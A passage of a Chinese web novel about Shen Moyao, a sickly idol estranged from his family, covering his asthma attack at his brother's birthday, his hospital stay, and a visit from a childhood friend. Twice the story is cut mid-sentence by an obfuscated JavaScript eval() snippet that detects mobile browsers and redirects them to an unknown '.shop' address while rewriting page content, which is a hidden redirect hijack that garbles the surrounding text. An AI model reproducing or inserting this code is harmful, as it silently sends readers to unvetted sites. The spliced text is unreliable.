的守护下学会了心心念念的平衡车,每当他站在车上开始歪歪扭扭要摔下去的时候,沈陌遥总会及时出现把他稳稳抱住,轻柔放到草坪上。他一直玩到傍晚仍有些意犹未尽,沈陌遥当晚却发起高烧,呕吐不止甚至出现惊厥,被抱上车紧急送去医院治疗了好几天。 在那之后父母也严肃提醒了他关于沈陌遥身体不太好的事,指责他不要撒不该撒的娇,但他年纪太小,懵懵懂懂不知道什么是愧疚,沈陌遥却在回家以后用贴着胶布的手摸了摸他的头,笑着和他说没关系,以后有什么想玩的不用不好意思提,哥哥照样会陪你玩。 他一直觉得自己有个特别特别好的哥哥。 至少在小时候,他一直是这么认为的。 直到他6岁,也就是沈陌遥10岁那年—— 他最爱的哥哥,害死了他最爱的姐姐。 自那以后,母亲精神失常,父亲郁郁寡欢,沈陌遥变得沉默寡言,自己也开始怨恨他。 这份怨恨是从发现他开始没完没了地欺负那时被带回家中,擅长宽慰父母,能力出众的大哥沈凌夏后逐渐加深的,直到现在,他已经看到二哥的那张脸就厌烦。 沈陌遥才是那个犯下滔天大错的罪人。 所以他怎么敢用那种态度和自己说话? 要不是他那个样子,自己也不会对他发那么大的火。 所以他刚刚那句话一点也不过分。 不过都已经这样了,如果这么对他放任不管,让他又有喘息之后继续作妖的机会,可就真的太便宜他了。 还是应该去找一下他才对。 ……并不是担心他,只是他要把沈陌遥揪回来,看看他究竟有没有意识到自己的错误而已。 思及此,沈佑麟无视内心深处压着的一点儿令自己都感觉莫名其妙的紧张,放下酒杯,不顾同伴的询问,悬着一颗心快走几步回到后花园边的连廊上。 “沈陌遥?” “……二哥?” 他语气不耐地喊了几嗓子,左右看了一圈都没找到人,眼前又倏地浮现那人这两天一直过分苍白的脸和刚才克制不住的咳喘,心里不由自主有些发紧,愈发焦躁地顺着连廊往里走,朝花园内侧看过去,而后猛地呼吸一滞。 “二哥!” 沈陌遥安静地伏在角落的廊凳上,晚风卷起他衬衫的领子和后颈的碎发,苍白突出的颈椎骨一节一节裸露在微凉的月光里。 他一动不动,脊背单薄瘦削没有起伏,像一片能被风轻易吹走的落叶。 仿佛已经停止了呼吸。 7. 生日 沈陌遥做了一个梦。 那是一个阳光明媚的午后,他们一家五口一起在沈宅后院玩躲猫猫。 妈妈笑吟吟地为孩子们哼儿歌倒计时,他蒙着眼睛站在树边等待,弟弟妹妹嬉闹着迈动小短腿找地方躲藏,爸爸在一旁微笑着替他们所有人拍照录像。 那天他都没来得及找,躲在花丛边却被蜜蜂吓坏了的妹妹就扑过来躲在他身后,忘了要耐心藏好的弟弟听到动静也屁颠屁颠跑过来,和他展示自己捡到的一只蜗牛,把妹妹吓得哭声更大了。 他被眼前的场景逗的笑起来,爸爸妈妈也笑了,他乐呵呵抱着妹妹,拍她的背哄她,被家人们围在中间,太阳照在每个人的脸上,他的心里好像有一团暖洋洋的火焰摇曳着在燃烧。 而后,妹妹忽然毫无征兆消失在他怀中。 他维持着拥抱的姿势,却发现怀里只剩下空气,顿时慌了神,四处张望着寻找,却哪里也不见妹妹的踪影,天色迅速灰暗下来。 围着他的爸爸妈妈和弟弟脸上的笑容和阳光一并消失了,很快转为露骨的憎恶,妈妈狰狞着一张脸歇斯底里要来掐他的脖子,他下意识想后退,脚下却忽然有浪潮般的激流席卷而来,将他整个人裹入其中。 他在水中无力地挣扎,耳鼻和嘴里都呛了水,眼前陷入一片漆黑,窒息感将他一点一滴包裹,涡流搅动的低鸣将他环绕。 沈陌遥猛地睁开眼睛。 他胸膛急促起伏,大口喘息着,视线尚未恢复清明,却先听到耳边持续的嗡鸣,又察觉鼻腔有熟悉的异物感,他伸手扯开有些烦人的管线,消毒水的味道旋即涌入。 ……在医院啊。 沈陌遥极慢地眨了眨眼睛,侧过身,熟练地伸长手臂把嗡鸣不断的制氧机关掉,然后跌回床上深呼吸,平复因为脱离鼻氧而产生的心慌。 病房的窗帘没拉严实,临近黄昏的金橘色暖光透过窗缝洒进来,把床尾一角照得金灿灿的。沈陌遥视线顺着床头的点滴无意识扫过去,竟恍惚间生出一种不知今夕是何夕的空茫感。 不知道是因为高热还是因为人类一些回避痛苦的本能,沈佑麟生日宴上的事情,他记得不太清,浮现在眼前的都是断断续续的记忆。 唯独异常清晰的,便是小弟扬长而去之前,最后对他说的那句话。 他说,他希望十四年前死的人是他。 在那之后,他的胸腔里像是有个破旧的风箱无法控制地发出不间断的啸鸣,他清楚是哮喘发作,但神志已然跟着全身的力气潮水般褪去,只能狼狈地扑倒在廊凳边,抖着手寻找放在外套内侧口袋里的支气管扩张剂,却怎么也没能找到,便逐渐在汹涌而至的窒息感中彻底丢了最后一点儿意识。 相比于小时候,长大后他哮喘发作的其实并不频繁,只有长时间剧烈运动,或接触了某些过敏原才会诱发,除此之外就是在感冒发烧时容易发作些。 因此,这次发作对他来说其实并非什么难以预料的事,只是百密一疏,离开宴会厅的时候他脑子太乱,整个人昏昏沉沉的只想摆脱身上甜腻的味道,便把被弄脏的西装外套交给了侍应,却忘了自己的救命药也在里面。 咳意再次涌现,沈陌遥掩唇闷咳一阵,他按了按胸口觉得浑身仍然有些乏力,想要再睡一会,小桌上的手机却忽然震动起来。 他思索了几秒,还是费劲地支起身子拿过手机接通了电话。 是他的经纪人秦玥。 “喂,秦姐。” “你终于知道接电话了,小沈。”秦玥清亮的声音从手机那头传来,带着些许不满,“这两天你在忙什么?即使团刚解散,你也暂时没有个人通告……至少也要及时回复消息,汇报位置吧?” “抱歉,家里有点事,我回桐市呆了两天。” “总之不是失踪了就好。小沈,我着急给你打电话是为了通知你一件事。” “你说。” “之前说的那部《樱恋》,剧方刚才和我们联系,说让你明天不用去围读会了……他们要换人。” 沈陌遥靠在床头,他此时还有点低热,整个人都有些恹恹的,听到秦玥带着几分歉意的话语,只是懒洋洋抬了抬眼皮。 “好。”他淡淡应了一声。 樱恋,全称樱花恋爱物语,是一部少女漫画改编而成的青春校园偶像剧,剧方在筹备期就优先联系了六翼娱乐,认为沈陌遥的外形和人气是饰演男主的不二人选,开出的条件让秦玥几乎没有犹豫就答应下来,按照原定计划,这周末就要签合同。 “明明就差一步了,唉。” “所以主角现在定了谁?” “……是于淼。你也知道,他最近刚签了光曜传媒,此前他的市场价值虽然不如你,在年轻一代男艺人中却也不差,你最近市场风评又很不好,这么一叠加,就……” “没关系的,秦姐。” “他想要……就让他去演吧。” 沈陌遥又咳了一阵,扯了扯嘴角。 说起来也挺可笑,在网络传言中凡是想要的通告都有人卑躬屈膝,双手呈到面前的自己,事实上竟然是个连网剧主演都会被人截胡的人。 还是在舆论中被自己看不起的前队友。 不过还好。 说来也巧,比起这部网剧,其实他有一个新目标想要争取。 “我还以为你要睡多久呢,二哥。” 低沉嗓音带着几分奚落的意味从病房门前突兀传来,沈陌遥低声和秦姐打了声招呼先挂了电话,抬头看向门口。 因为咳嗽激出的生理泪水,他的视线有些模糊,缓了缓才看清一身休闲服走进房间的人。 他的小弟走到床边,目光肆无忌惮地在他身上扫了一圈,神色晦暗不明。 “你看起来比昨晚好多了。” · 昨天晚上沈佑麟找到倒在廊凳旁的沈陌遥时,他已经没有意识了。 他一下慌了神,三步并作两步跑过去蹲下来拉他,那人纤细苍白的脖颈竟顺着拉扯的动作往他身上歪,坏掉的木偶似的,旋即整个人倒进他怀里,浑身滚烫,无意识地小幅痉挛。 那时他才恍然发觉,二哥不知什么时候竟然变得这样瘦,整个人薄得像一张纸片。 脆弱的仿佛一把月光都能将他融化。 “沈陌遥?” 沈佑麟晃了晃他,怀里的人却没有反应,眼睫细细密密垂下来,脸色惨白,嘴唇显出淡淡的紫,像花园里被冷色廊灯照亮的花瓣。 他知道这是哮喘。 “二哥,你药呢?” 他又拍了拍沈陌遥的肩膀,凸起来的骨头硌得他手掌生疼,那人却还是一动不动。 像是再也不会回应他。 “二哥?” 沈佑麟在那瞬间终于自内心深处生出一股难以名状的恐惧,他下意识朝经过的侍应生大吼,很快遣人打了急救电话,又找来他的气雾剂,立刻把它拆开放在他嘴边。 “呼气,二哥,呼气!” 他拍了拍沈陌遥的脸,用为数不多看他发作时治疗的记忆依葫芦画瓢地操作,后者终于在他的千呼万唤之下微微掀开眼皮,眼神涣散,良久才轻轻吐出一口气。 沈佑麟迅速把喷雾塞进他嘴里,双手有不易察觉的轻颤。 “吸!” 他喷药的动作算不上轻柔,甚至有些因为不熟练和恐惧导致的粗鲁,怀中人唇上的紫色却总算在扩张剂喷入后稍微褪下去一些。 沈陌遥被救护车送进医院急救后,沈佑麟暂时没走,穿着薄薄的燕尾服坐在急救室外的椅子上等待。他有些茫然地坐着,忽然打了个冷颤,蓦地听见一道低沉温和的声音。 “小弟,你在发抖。” 一件薄绒外套披在他的身上,沈凌夏出现在他身边,关切地看着他。 沈佑麟心头一暖,冲他露出感激的笑容。 他的大哥永远是这么贴心。 “我刚才去把控了一下宴会的局势,这才来迟了。你和二弟,尤其是你这个主角的离场,可是把客人们都吓了一跳。” “麻烦大哥了。” “你放心,我已经联系公关紧急处理了,今晚的事绝不会有半个字被报道出来。” “还是大哥想的周到。” 沈凌夏和沈佑麟交谈几句,很快发现他的敷衍和心不在焉——他眼睛直勾勾盯着急救室亮着的灯看,没匀给自己半个眼神,眼皮一眨不眨的样子像一只憨头憨脑的大傻狗。 沈家大哥的脸色很快闪过一丝隐晦的不悦,看向急救室方向时甚至出现转瞬即逝的怨恨。 沈陌遥总是这样阴魂不散! 明明都已经烧的站不稳了,还非要在宴会上和被自己诱导的沈佑麟呛声,最后竟然敢在后花园玩晕倒,还好死不死被人发现,送去医院了。 他怎么就没直接死在那里! 沈凌夏忿忿收起阴毒的目光,脸上瞬间换上关切紧张的神情,在沈佑麟身边坐下。 “二弟情况怎么样?” “医生说扩张剂用得还算及时……再晚一点可能就真的很难说了。” 沈佑麟仍然有些恍惚,沈陌遥倒在他怀中时滚烫的体温和清瘦的骨骼历历在目,他的声音有些嘶哑。 “他…他今天还在发烧。如果我没和他说……” “小弟,大哥不允许你这样想。谁都有情绪冲动的时候,何况今天是你二哥先给你送了那块编号不对的表在先。”沈凌夏伸手揽住他的肩膀,“他这哮喘本身就不容易预防,发病也是常有的事,又怎么能怪到你头上呢?” 沈佑麟有些无措地看向沈凌夏,看见二哥倒在自己面前后滋生的愧疚感像是找到了排解的出口,他期期艾艾地抓着沈凌夏的胳膊,向他求证:“真,真的吗?” “小弟,你就是太善良了。”沈凌夏叹了口气,狭长的眼睛柔和地眯成一条缝,语气里带着循循善诱的意味:“退一万步,今天也是你救了他的命。” “而且你想过吗?你二哥以往哮喘发作的时候……通常都是药不离身的。” · 直到现在,沈凌夏的最后一句话还清晰回荡在沈佑麟的脑海。 沈佑麟站在病床前,居高临下地看着床上的人。 他的好二哥穿着病号服,静静地靠坐在病床上,脸色不像之前那样惨淡,抢救时被接上的监护仪器早已不见了踪影,甚至连鼻氧管都已经被摘下了。 看上去还挺健康的。 想到这里,沈佑麟不禁发出一声冷笑。 昨天紧张成那样,真的以为他差一点就死了的自己真可笑。 “拿自己的病开玩笑,很好玩是不是?在我生日宴这天,和我玩苦肉计……二哥,你真的算是煞费苦心。” 沈陌遥听到他带着明显嘲讽意味的话语,有些诧异地抬起头,眼中是不加掩饰的错愕。 “小佑……”他怔怔看了自己的小弟好一会儿,搭在被褥上的手指轻轻蜷缩了一下,声音很轻:“你知道自己在说什么吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈陌遥浓黑的眼睫颤了颤:“小佑,如果你始终站在沈凌夏一侧,早已在心里下了定论……又何必再来向我求证?” 沈佑麟闻言愣了几秒,声音再次拔高:“大哥说的本来就没错!你要是真的觉得我在污蔑你,就拿出你没有演苦肉计的证据给我看——你明明特地脱掉西服,把喷雾忘在了口袋里!” 沈陌遥当然没办法拿出什么证据。 他在弟弟的生日宴上哮喘发作,喷雾又不在身边是不争的事实,至于究竟是不是自导自演,自然是无从辩驳的事。 “你还记得吗,小佑。”沈陌遥垂着眼,试图凭着脑海中一点儿碎片化的记忆努力拼凑出昨晚发生的部分事情,声音偏冷:“昨晚我脱掉西服外套,是因为那上面被奶油和水果搞得有些脏。” 而他身上会沾到那么多奶油的原因…… 沈佑麟明显也想起来了,他有些尴尬地直起身子后退两步,脸色涨红了一些。 就像大哥说的那样,他好像总是会在和沈陌遥的交谈中一不留神就走入他精心设计的话术里,被他带偏节奏。 之前在生日宴上也是。 偏偏他还没什么办法。 沈佑麟又气又急,脑子里像是被塞了一团找不到头的毛线球,情急之下,他把一直挂在心头的那句被大哥肯定过、想要当作杀手锏的话原封不动地搬了出来,像是把它当作能在争吵中占据绝对优势的秘密武器。 “沈陌遥,无论如何,是我救了你的命!” 昨天晚上,说“我真希望当初死的那个人是你”的时候,他也是这样的语气。 沈陌遥弯起嘴角自嘲般笑了笑。 这些年,他的小弟变得越来越像他们的母亲。 前一秒可以用最恶劣的语气诅咒他,让他去死,后一秒又可以摆出圣人的态度,高高在上地要求他感恩自己的付出。 他们之间的关系究竟是在具体的哪一个时刻变成这样的呢? 沈陌遥极慢地眨了眨眼,下意识带着一点探究看向俯视自己的沈佑麟。 小时候他住院时,小弟总会求着父母把自己带到医院,趴在病床前陪他聊天。而如今,弟弟的五官虽和儿时仍有几分相似,盯着自己的表情却早已由当年的天真烂漫转为深恶痛绝。 物是人非。 “小佑……” 沈陌遥顿了顿,眼眸中昙花一现般闪过许多情绪,像是有很多话悬在唇边呼之欲出,却只是极轻地叹了口气,抓着衣服前襟的手松下来,无力地垂在纯白的被褥上,语气重新冷淡下去。 “我累了,你出去吧。” 末了,他哑着嗓子低低补了一句:“生日快乐。” 沈佑麟愣在原地,内心深处的某块柔软地方似乎被人轻轻触碰了一下,却很快被没听到他感谢自己的救命之恩而产生的失望所覆盖,便憋着一肚子火扭头就走,肩膀撞在房门上发出一阵巨响。 沈陌遥望向他离去的背影,终于放弃抗衡渗入身体深处的心慌无力感,放任自己的意识陷入渐深的黑暗。 今天的夕阳颜色很漂亮。 可为什么橙黄的阳光洒在被褥上,他却感觉不到一点温暖呢? 沈陌遥顺着床的一侧逐渐歪倒,半躺在厚实的靠枕和床褥里,疲倦地合上眼睛。 他的小弟今天就20岁了。 往后陪他一起过生日,给他送祝福、送礼物的,会有很多很多人。 也就永远不缺一个他。 8. 出院 沈陌遥是被秦玥的第二通电话喊醒的。 她一向雷厉风行,在听说沈陌遥在桐市后,竟是直接赶过来催促他回霖市。 INfinitY解散后,由于另外四名成员的经纪公司并非六翼娱乐,她已经不再是他们的执行经纪,便把全部心思放在了沈陌遥身上,对他的一举一动都颇为关心。 “你在哪?我又物色了一个不错的剧本,今晚能和我回霖市吧?” “今天不一定……” 沈陌遥懒懒地靠在床上揉眼睛,他睡过去,又或许是晕过去的时间不长,此时仍然觉得很疲倦。一个小护士正巧推着车进来,盯着他踌躇一阵没敢上前,像是被之前病房里传出的动静吓到了。 于是沈陌遥放下手机,强打精神朝她微笑。 黄昏将尽,他眼眸里捎了一点从窗帘缝隙间溜进房里的落日余晖,连睫毛都金灿灿的。 小护士盯着他的笑容愣了许久,才恍然走到他身边做例行检查。 沈陌遥乖乖配合着,不经意似地问:“请问我什么时候可以出院?” 小护士眉毛一压:“你还想着出院?你知不知道你昨晚被送来抢救的时候情况很不好,连心电监护都是今天下午才撤的,你真是……” 沈陌遥毫不犹豫选择沉默,垂眼听着姑娘训话,没敢再提出院的事。 在小护士将新的留置针埋进他手腕的过程中,他更是连眉头都没皱一下,脸上一直带着笑,看起来乖巧极了。 甚至像是一种下意识的反应。 没有护士会不喜欢积极配合的病人。看到沈陌遥一副认识到错误的样子,小护士紧皱的眉头终于舒展开,替他调了一下点滴的速度,起身离开。 她的心里其实相当困惑。 刚被分配到他的时候,另外几名喜欢网上冲浪的小护士曾面露同情地祝她好运,说那位姓沈的病人是个黑红出名的小明星,脾气非常差,动不动就黑脸。 她当时只是左耳进右耳出未曾在意,如今想起来却觉得,这位笑起来格外漂亮的沈先生根本不是他们所说的那样。 反倒是他周围的人很奇怪。 要知道,这位沈先生被拉上救护车的时候已经因为高烧和哮喘引起的呼吸窘迫陷入了昏迷,血压和血氧都掉到了临界值,血糖也低得吓人。 而刚才来探望的高大男子对他的态度却出奇的差,又吼又叫的,大概率还动手了,好像对他的身体状况一点概念都没有。 明明只要稍微留心观察,就能看见他眉目间隐忍的虚弱与疲惫才对。 · 沈陌遥还是提前出了院。 他在医院里老老实实睡了一晚上,做了雾化 ,第二天一早,从电话里听见他和护士的对话,意外得知他正在住院的秦大经纪人不辞劳苦地赶到医院,好生和医生谈了很久,再三保证会让沈陌遥充分休息,终于得到医生的许可被放行。 他没有再回沈宅,倒是沈厉峥在通过医院得知他已经出院后,给启程返回霖市的他打了一通电话,严厉指责他扰乱沈佑麟生日宴的事,其中还夹杂着姜鹤的尖利吼叫—— 大致是“成天病歪歪的就别回来给家里丢人!”“每次你出事都要你大哥在后面给你擦屁股!”“也就是小佑心善,救你一命!”“要是我我根本不会管你!”一类的句子。 许是之前发生的事、和小弟的对话实在让他感到太疲惫,沈陌遥听到那些不堪入耳的话时竟然没觉得太心痛,感觉胸腔里被塞了一块又冷又硬又沉的石头,整个人仿佛已经麻木了。 他忍着咳意默默听完,没再说什么就挂了电话,视线重新投回平板上的电子剧本。 其实有的时候他还挺感谢被排满的行程的。 也许这是一种逃避——总之,忙起来的时候,他可以强迫自己从那些不好的情绪中抽离。 “你觉得这个本怎么样,小沈?”回S市的高速上,被秦玥一并召回的萧宵开着车,秦玥坐在副驾上挑起了话题,“别看他是个网播剧,制作团队不差的。没有大问题的话,咱们明天就去见制片人。” 沈陌遥靠在后座,腿上放着平板,他此时还有点低热,整个人都恹恹的,声音很小却有股不容置疑的味道。 “秦姐,我不想接。”他说。 “你不喜欢?” 秦玥皱眉。 沈陌遥虽然并不像舆论所说那样目中无人,却属实是个难伺候的艺人,凡事都有点想要亲力亲为的意思,比起老老实实服从安排当傀儡轻松赚钱,他的自主性强得简直让人不爽。而偏偏他又有着极高的人气,即使如今黑料缠身,仍然具有一定的商业价值,是六翼娱乐这种十八线小公司无论如何也不舍得放手的存在。 ……话又说回来了,当初能签下沈陌遥,确实是她做过最正确的决定之一。 秦玥是在S大附近的一家唱片店里挖掘的沈陌遥。 当时他一副学生模样,穿着开衫毛衣和休闲裤,正扬着头用白净的手指在架子上的老唱片中翻找着,从秦玥的角度看过去,明明他的侧脸都只能看个一半,她却死死盯着那人清瘦挺拔的脊背和耳廓上的一颗小痣,很快认定了要签下他的想法。 随后她联系了《奏乐青春》的制片人,同样也是六翼娱乐CEO的曾开腾,两个人把不明所以的沈陌遥拉到咖啡馆,在一顿花言巧语之下把那个当时赞助都没拉到多少的选秀节目活生生描绘成被业内所有人看好的S级项目,忽悠着刚刚大学毕业的沈陌遥签了约。 直到后来,秦玥才偶然得知,沈陌遥当年并非完全是被他们画的大饼所蛊惑才同意签约。彼时他正好因为某些原因被逐出家门,断了一切经济来源,而当时他们所给出的那份堪称丰厚的薪资对他来说无疑是雪中送炭。 一来二去之下,双方这才一拍即合。 “不喜欢,主角逻辑不太自洽。”沈陌遥的声音里带着一点鼻音,清冷声线像是蒙了一层纱,听上去竟有些漫不经心的意味。 他顿了顿,又说道:“而且我有另外一个想要争取的角色试镜在明天。” “你啊,果然还惦记着《浪潮》,是不是?”秦玥有些烦躁,手指搭在车窗边敲了敲,“和你说多少遍了,这个剧不是你这种艺人能参与的——那个梁导是什么人,你也不是不清楚。” 沈陌遥确实对梁导有所耳闻。 梁森炜是著名的学院派导演,拍过不少斩获国内权威电影奖的片子,甚至拿过国际大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281030|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奖的提名,是个比较传统保守的导演,爱和惯用团队、演员合作,尤其喜欢选用专业院校出身的演员,有传闻说他对当下所谓流行的“小鲜肉”嗤之以鼻。 《浪潮》属于架空背景下的群像剧,讲述在被教会组织统治,阶级分化严重的帝国里,身份、立场各不相同的人们为了获得真正的平等与自由而集结奋斗的故事,是一段汗水、鲜血与泪水交织汇成的,波澜壮阔的史诗正剧。 其中,除了梁森炜亲自确定的两位核心男女主演之外,剩余的几个主要角色剧方都采用了开放性选拔的模式,而沈陌遥早在两个月前就投递了自己的参选资料,并且通过了海选和线上初选。 明天,就是线下试镜的日子,梁森炜本人也将亲自到场,掌权最终的定夺。 “你这样因为一时兴起,毫无把握就跑去试镜的小偶像,人家梁导是绝对不会认可的,何况……”秦玥犹豫片刻,还是开了口,“何况这部戏的两大资方,一个是那个大名鼎鼎的池家名下的池璟集团,另一个就是韵海文化。” “韵海文化?” “和你前两天还在一个团的周麓,是他们少东家。”秦玥朝后座瞥了一眼,看见沈陌遥仍然不咸不淡的表情,差点要把眼珠子翻出来:“小沈,你是不是脑袋烧傻了?我明说吧,这剧本我也看过,里面排得上番位的青年角色,除了男主之外,就只有两个……” “其中一个戏份很少,而那个戏份很多的,就是那个留学归来的记者角色,不用想了,无论那梁导如何刚正不阿,都一定属于周麓。” “即便如此,也还有一个‘戏份很少’的角色可以争取,不是吗?”沈陌遥长眉微扬,被隧道灯光映出点点星芒的眼中并未见得任何挫败。 说来也巧,他最初报选的,的确不是秦玥所说那个早已被内定的记者角色,而是他口中那个“戏份不多”的,因家道中落而被迫在剧团里买艺谋生的青年角色。他自诩在歌唱方面拿得出手,自幼也在沈厉峥的耳濡目染下听过不少曲子,并非是秦玥所说的“一时兴起,毫无把握”,通过初选也正是最好的证明。 “是,你要争取……”秦玥语气中是未加掩饰的不以为然:“剧组在已经启用了一个毫无表演经验的新人的情况下,同样是流量明星,本身就不可能被梁导看好的你,要怎么去和那么多专业出身,经验远超于你的同龄人竞争?” 秦玥在心里嗤笑着年轻人的不自量力,却明白即使是身为经纪人的自己也很难改变沈陌遥已经做出的决定,最后提了一句他若是执意要去,公司不会派人跟随,便收了声。 反正这小子也只能冥顽不灵一时,到时候落选了,自然会明白她为经纪人的良苦用心。 · 沈陌遥回到在霖市租的房子时正值中午,这栋公寓楼的入户区是半封闭式的,正午的太阳洒在走廊,他情不自禁伸了个懒腰,放下胳膊时朝右侧走去,竟看见一道许久未见的熟悉身影站在自家大门前。 那人留着一头利落的板寸,下颌线条深刻,穿着一件背后纹着狼图腾的迷彩外套,颈侧有几道凹凸不平颜色偏深的疤。 听到沈陌遥的脚步声,他也缓缓扭头看过来,嘴里叼着燃了一半的烟啪嗒一声落在地上。 9. 再遇 “……贺晔琉?” 沈陌遥微微愣怔,试探着喊出来人的名字。 小麦肤色的寸头男人显出些许慌乱,他垂下眼匆匆弯腰去捡地上的那截熄的差不多的烟,手指接近地面时停顿了一下,像是在做心理准备,抬起头后才和沈陌遥对上视线。 “好久不见,陌遥。”他浓眉一扬,勾起一边嘴角,声音像被铁砂纸磨过的矿石,低沉而略微沙哑,“总算没白等,你果然还住在这里。” 沈陌遥注视他片刻,视线瞥过他手里的那根烟。 “哦,抱歉抱歉。” 男人敏锐地顺着他偏移的目光看向自己的手,忽然意识到什么一般,直接用食指和拇指随意地在最后一丁点儿火星上一捻把它掐灭。 “你瞧我这脑子,竟然忘了你不喜欢烟味。” 他捏着烟前后望了望,在电梯间口发现了垃圾桶,便匆匆和沈陌遥擦肩而过,走去把手里的烟抛进去。 其实忘了也不奇怪。 沈陌遥看着他宽阔的背影微微出神。 毕竟,贺晔琉和他已经有两年多没联系过了……更不要说见面。 “看在我等了你两个小时的份上,不请我进去坐坐吗?” 贺晔琉处理完烟蒂很快折返,一路走回沈陌遥家大门口时还贴心地来回挥动手臂,似乎是想把早已弥漫开的烟味尽可能散掉一些。 “嗯。”沈陌遥偏头咳了咳,走上前将防盗门解锁,“只是这么久了,我没想到你还会来找我。” 透过防盗门光滑的表面,他看见贺晔琉有些勉强地笑了笑,“这不是看你这两年一直在忙事业么,我也不敢贸然打扰你这个大明星啊。” 沈陌遥点点头,没再说什么,开门后侧身示意贺晔琉进屋。 “你这儿还真是一如既往的整洁清爽。”贺晔琉对眼前宽敞明亮的居所并不感到陌生,他甚至轻车熟路地来到矮柜边给自己拿了双一次性拖鞋,径自走到客厅沙发上坐下,“怎么感觉连家具都越来越少了?这就是最近流行的极简风吗?” “我回来住的频率不高,你上次来过后,我陆续收了一些东西去公司宿舍。”沈陌遥关好门后走到厨房置物架旁,视线落在角落里的两瓶橘子汽水上,“要喝点什么吗?” “随便,你喝什么我喝什么。”贺晔琉随口一答,视线在客厅来回扫了扫,投向茶几角落,“这是……这张照片你竟然还留着呢?” 沈陌遥最终还是放弃了那两瓶汽水,转而拿出两套小瓷杯,听到他的问话,正在倒茶叶的手微微一顿,却没有回头。 他知道贺晔琉说的是哪张照片。 贺晔琉比他大上一岁,家就在沈宅隔壁。他从小就是仗义的大哥大性子,和沈陌遥常玩在一起,也算是竹马之交。但在他9岁时,因为父母工作需要搬离了御碧山庄,两人也就忽然断了联系。 幸运的是,几年后,他们因缘巧合之下上了同一所高中,重新成了要好的朋友。 沈陌遥一直记得他们重逢那天的场景。 他的初中是在美国上的,到了国内的高中时,有人听说他之前在国外念书,又有一部分外国血统,总爱开他的玩笑,发现他对此反感不屑便欺凌更甚,甚至喊他“小杂种”。他发育晚,高中时一直比同龄人矮一截,遇到三两个尚且可以靠着狠劲僵持,被聚众围追堵截时就几乎没有还手之力。 高中第二周的某个午后,他被堵在杂物间的角落,被几个人围着拳脚相向时,突然听见一串吊儿郎当的脚步声,紧接着是一句低沉的挑衅。 “五打一,挺能耐啊?” 他透过人群缝隙恍恍惚惚望过去,看见一个高个子的男生插兜站在门口,阳光透过房间顶端的小窗洒在他身上,把他一头毛茸茸的板寸几乎照成金棕色。 那男生走到他们面前,挽起衣袖露出流畅的手臂肌肉,指节下压发出噼里啪啦的脆响,很快替他解了围,却在他恍恍惚惚抬起脸时微微一怔。 “好久不见啊,陌遥!” 男生俯身朝他伸出手,露出欣喜激动的笑。 那张被放在茶几角落的照片是他们高中毕业时的合照。 毕业典礼上,贺晔琉没穿校服也没穿西装,一身痞帅的工装服,大剌剌揽着沈陌遥对着镜头比耶,还往有些愣神的他怀里塞了罐橘子汽水,单眼皮下褐色的眼仁炯炯有神,笑的肆意张扬。 “真怀念啊,那时的我比现在精神多了。”贺晔琉仔细端详着照片,发出玩笑似的感叹,“真是岁月不饶人啊!” “不过,你倒是没怎么变,一直这样瘦。你是不是还和小时候一样挑食?”他蹙眉规劝道,“这可不好,你现在可是日理万机的大明星,营养必须得跟上。” 沈陌遥端着泡好的茶走到茶几边放下,犹豫片刻,还是选择坐在贺晔琉另一边的沙发上。 不知怎的,在贺晔琉反复说“大明星”三个字的时候,他总隐约觉得刺耳。 那样的语气和重音,听上去倒不是一种反讽,反而像是一种带有目的性的刻意的强调。 最初,在他参加《奏乐青春》的前期,贺晔琉和他还保持密切的联系,然而自从沈陌遥在节目中后期人气暴涨,成功出道后,他就变了。 他好像一夜之间忘光了他们全部的过往,从不主动找他,回消息也是滞后很久才回上几个敷衍的字句,冷淡而生疏。 那时的沈陌遥刚刚出道,行程非常满,每天连睡觉的时间都靠挤,也没有多余的心思去维系这段忽然之间变味的感情,久而久之,两人便彻底断了联系。 那现在他为什么会忽然回心转意一般出现在自己面前? 沈陌遥疑惑的同时,又隐隐有些不安。 如果贺晔琉的动机不纯的话,他其实……并不太想发现。 在之前的年岁里,与贺晔琉共度的点滴对始终被笼罩在家庭沉重阴霾之下的他来说,是一段弥足珍贵的记忆。 他想尽力让那些美好的回忆维持原样。 “所以你来找我,是有什么事吗?” 沈陌遥端了一杯茶拢在掌心,茶水滚烫的温度顺着杯壁传进肌肤,他的声音不自觉变得柔和了一些。 “没什么特别的事,就想来和你聊聊天。”贺晔琉从容地扬起嘴角,“我在新闻上看到你们那个限定乐队解散了,就想着你最近会不会不是那么忙,有时间叙叙旧。之前实在是不敢耽误你。” 沈陌遥眨了眨眼,视线投向贺晔琉的右手指尖,食指和大拇指的地方被之前烟蒂的火星烫的有些发红,明灿的阳光透过客厅的窗户照进来,他的一头板寸又被照得像颗毛茸茸的猕猴桃,一时间竟显得和高中时无二。 他是一个很会给别人找理由、很容易心软的人,所以在这瞬间,他选择相信了贺晔琉的话。 于是他放松下来,顺着贺晔琉的话茬,两人就着一壶热茶从儿时的初遇聊到高中放学一起骑车兜风的经历,时间悄然流淌,天色很快暗下去。 “对了,陌遥。” 贺晔琉帮沈陌遥和自己各斟满一杯茶,看似不经意发问。 “嗯?” “我有个……弟弟,是娱乐圈的新人。” 他神色坦然,拿着茶杯的手却有点抖,说话的时候有一些深色的茶水倾斜着溢出,顺着杯壁滴到地毯上。 “光曜传媒最近不是在签艺人吗?那是你大哥的公司,你能不能帮我弟弟推荐一下?” “贺晔琉。” “怎,怎么了?” “别的我都可以帮你……唯独这个我做不到。”沈陌遥看着他的眼睛,语气平静,“你应该早就知道的,我和沈凌夏势不两立。” 